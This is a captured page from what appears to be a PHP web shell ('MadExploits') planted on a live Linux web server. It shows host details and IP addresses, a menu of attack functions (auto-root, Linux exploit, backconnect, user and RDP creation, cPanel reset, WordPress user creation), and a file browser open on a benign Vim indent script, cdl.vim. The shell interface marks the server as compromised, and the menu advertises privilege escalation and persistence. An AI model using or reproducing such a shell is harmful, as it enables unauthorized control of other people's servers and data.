Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.145.12.100
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim74 /
indent /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
1.6
KB
-rw-r--r--
aap.vim
265
B
-rw-r--r--
ada.vim
10.89
KB
-rw-r--r--
ant.vim
290
B
-rw-r--r--
automake.vim
231
B
-rw-r--r--
awk.vim
7.57
KB
-rw-r--r--
bib.vim
346
B
-rw-r--r--
bst.vim
1.87
KB
-rw-r--r--
c.vim
325
B
-rw-r--r--
cdl.vim
4.07
KB
-rw-r--r--
ch.vim
470
B
-rw-r--r--
chaiscript.vim
1.11
KB
-rw-r--r--
changelog.vim
264
B
-rw-r--r--
clojure.vim
11.85
KB
-rw-r--r--
cmake.vim
2.69
KB
-rw-r--r--
cobol.vim
8
KB
-rw-r--r--
config.vim
2.12
KB
-rw-r--r--
cpp.vim
329
B
-rw-r--r--
cs.vim
327
B
-rw-r--r--
css.vim
1.68
KB
-rw-r--r--
cucumber.vim
2.56
KB
-rw-r--r--
cuda.vim
305
B
-rw-r--r--
d.vim
510
B
-rw-r--r--
dictconf.vim
325
B
-rw-r--r--
dictdconf.vim
326
B
-rw-r--r--
docbk.vim
324
B
-rw-r--r--
dtd.vim
11.39
KB
-rw-r--r--
dtrace.vim
451
B
-rw-r--r--
dylan.vim
2.6
KB
-rw-r--r--
eiffel.vim
3.13
KB
-rw-r--r--
erlang.vim
45.15
KB
-rw-r--r--
eruby.vim
2.11
KB
-rw-r--r--
eterm.vim
638
B
-rw-r--r--
falcon.vim
13.65
KB
-rw-r--r--
fortran.vim
6.41
KB
-rw-r--r--
framescript.vim
786
B
-rw-r--r--
gitconfig.vim
817
B
-rw-r--r--
gitolite.vim
996
B
-rw-r--r--
haml.vim
2.14
KB
-rw-r--r--
hamster.vim
1.37
KB
-rw-r--r--
html.vim
14.46
KB
-rw-r--r--
htmldjango.vim
273
B
-rw-r--r--
idlang.vim
1.53
KB
-rw-r--r--
ishd.vim
1.8
KB
-rw-r--r--
java.vim
4.02
KB
-rw-r--r--
javascript.vim
336
B
-rw-r--r--
jsp.vim
462
B
-rw-r--r--
ld.vim
1.71
KB
-rw-r--r--
lifelines.vim
637
B
-rw-r--r--
liquid.vim
1.83
KB
-rw-r--r--
lisp.vim
353
B
-rw-r--r--
logtalk.vim
1.65
KB
-rw-r--r--
lua.vim
1.87
KB
-rw-r--r--
mail.vim
308
B
-rw-r--r--
make.vim
3.35
KB
-rw-r--r--
matlab.vim
1.88
KB
-rw-r--r--
mma.vim
2.17
KB
-rw-r--r--
mp.vim
6.37
KB
-rw-r--r--
objc.vim
1.61
KB
-rw-r--r--
ocaml.vim
8.9
KB
-rw-r--r--
occam.vim
4.53
KB
-rw-r--r--
pascal.vim
5.52
KB
-rw-r--r--
perl.vim
5.67
KB
-rw-r--r--
perl6.vim
3.42
KB
-rw-r--r--
php.vim
18.97
KB
-rw-r--r--
postscr.vim
1.58
KB
-rw-r--r--
pov.vim
2.58
KB
-rw-r--r--
prolog.vim
1.42
KB
-rw-r--r--
pyrex.vim
326
B
-rw-r--r--
python.vim
5.61
KB
-rw-r--r--
r.vim
14.44
KB
-rw-r--r--
readline.vim
681
B
-rw-r--r--
rpl.vim
1.79
KB
-rw-r--r--
rst.vim
1.35
KB
-rw-r--r--
ruby.vim
17.13
KB
-rw-r--r--
sass.vim
1018
B
-rw-r--r--
scheme.vim
241
B
-rw-r--r--
scss.vim
191
B
-rw-r--r--
sdl.vim
2.7
KB
-rw-r--r--
sh.vim
3.95
KB
-rw-r--r--
sml.vim
6.27
KB
-rw-r--r--
sql.vim
1.18
KB
-rw-r--r--
sqlanywhere.vim
12.77
KB
-rw-r--r--
tcl.vim
1.56
KB
-rw-r--r--
tcsh.vim
1.21
KB
-rw-r--r--
tex.vim
9.47
KB
-rw-r--r--
tf.vim
1.46
KB
-rw-r--r--
tilde.vim
994
B
-rw-r--r--
treetop.vim
677
B
-rw-r--r--
vb.vim
2
KB
-rw-r--r--
verilog.vim
7.44
KB
-rw-r--r--
vhdl.vim
13.48
KB
-rw-r--r--
vim.vim
2.76
KB
-rw-r--r--
xf86conf.vim
679
B
-rw-r--r--
xhtml.vim
269
B
-rw-r--r--
xinetd.vim
1.17
KB
-rw-r--r--
xml.vim
2.77
KB
-rw-r--r--
xsd.vim
253
B
-rw-r--r--
xslt.vim
297
B
-rw-r--r--
yacc.vim
769
B
-rw-r--r--
yaml.vim
4.02
KB
-rw-r--r--
zimbu.vim
3.8
KB
-rw-r--r--
zsh.vim
231
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cdl.vim
" Description: Comshare Dimension Definition Language (CDL) " Author: Raul Segura Acevedo <raulseguraaceved@netscape.net> " Last Change: Fri Nov 30 13:35:48 2001 CST if exists("b:did_indent") "finish endif let b:did_indent = 1 setlocal indentexpr=CdlGetIndent(v:lnum) setlocal indentkeys& setlocal indentkeys+==~else,=~endif,=~then,;,),= " Only define the function once. if exists("*CdlGetIndent") "finish endif " find out if an "...=..." expresion its an asignment (or a conditional) " it scans 'line' first, and then the previos lines fun! CdlAsignment(lnum, line) let f = -1 let lnum = a:lnum let line = a:line while lnum > 0 && f == -1 " line without members [a] of [b]:[c]... let inicio = 0 while 1 " keywords that help to decide let inicio = matchend(line, '\c\<\(expr\|\a*if\|and\|or\|not\|else\|then\|memberis\|\k\+of\)\>\|[<>;]', inicio) if inicio < 0 break endif " it's formula if there's a ';', 'elsE', 'theN', 'enDif' or 'expr' " conditional if there's a '<', '>', 'elseif', 'if', 'and', 'or', 'not', " 'memberis', 'childrenof' and other \k\+of funcions let f = line[inicio-1] =~? '[en;]' || strpart(line, inicio-4, 4) =~? 'ndif\|expr' endw let lnum = prevnonblank(lnum-1) let line = substitute(getline(lnum), '\c\(\[[^]]*]\(\s*of\s*\|:\)*\)\+', ' ', 'g') endw " if we hit the start of the file then f = -1, return 1 (formula) return f != 0 endf fun! CdlGetIndent(lnum) let thisline = getline(a:lnum) if match(thisline, '^\s*\(\k\+\|\[[^]]*]\)\s*\(,\|;\s*$\)') >= 0 " it's an attributes line return &sw elseif match(thisline, '^\c\s*\([{}]\|\/[*/]\|dimension\|schedule\|group\|hierarchy\|class\)') >= 0 " it's a header or '{' or '}' or a comment return 0 end let lnum = prevnonblank(a:lnum-1) " Hit the start of the file, use zero indent. if lnum == 0 return 0 endif " PREVIOUS LINE let ind = indent(lnum) let line = getline(lnum) let f = -1 " wether a '=' is a conditional or a asignment, -1 means we don't know yet " one 'closing' element at the beginning of the line has already reduced the " indent, but 'else', 'elseif' & 'then' increment it for the next line " '=' at the beginning has already de right indent (increased for asignments) let inicio = matchend(line, '^\c\s*\(else\a*\|then\|endif\|/[*/]\|[);={]\)') if inicio > 0 let c = line[inicio-1] " ')' and '=' don't change indent and are useless to set 'f' if c == '{' return &sw elseif c != ')' && c != '=' let f = 1 " all but 'elseif' are followed by a formula if c ==? 'n' || c ==? 'e' " 'then', 'else' let ind = ind + &sw elseif strpart(line, inicio-6, 6) ==? 'elseif' " elseif, set f to conditional let ind = ind + &sw let f = 0 end end end " remove members [a] of [b]:[c]... (inicio remainds valid) let line = substitute(line, '\c\(\[[^]]*]\(\s*of\s*\|:\)*\)\+', ' ', 'g') while 1 " search for the next interesting element let inicio=matchend(line, '\c\<if\|endif\|[()=;]', inicio) if inicio < 0 break end let c = line[inicio-1] " 'expr(...)' containing the formula if strpart(line, inicio-5, 5) ==? 'expr(' let ind = 0 let f = 1 elseif c == ')' || c== ';' || strpart(line, inicio-5, 5) ==? 'endif' let ind = ind - &sw elseif c == '(' || c ==? 'f' " '(' or 'if' let ind = ind + &sw else " c == '=' " if it is an asignment increase indent if f == -1 " we don't know yet, find out let f = CdlAsignment(lnum, strpart(line, 0, inicio)) end if f == 1 " formula increase it let ind = ind + &sw end end endw " CURRENT LINE, if it starts with a closing element, decrease indent " or if it starts with '=' (asignment), increase indent if match(thisline, '^\c\s*\(else\|then\|endif\|[);]\)') >= 0 let ind = ind - &sw elseif match(thisline, '^\s*=') >= 0 if f == -1 " we don't know yet if is an asignment, find out let f = CdlAsignment(lnum, "") end if f == 1 " formula increase it let ind = ind + &sw end end return ind endfun
Close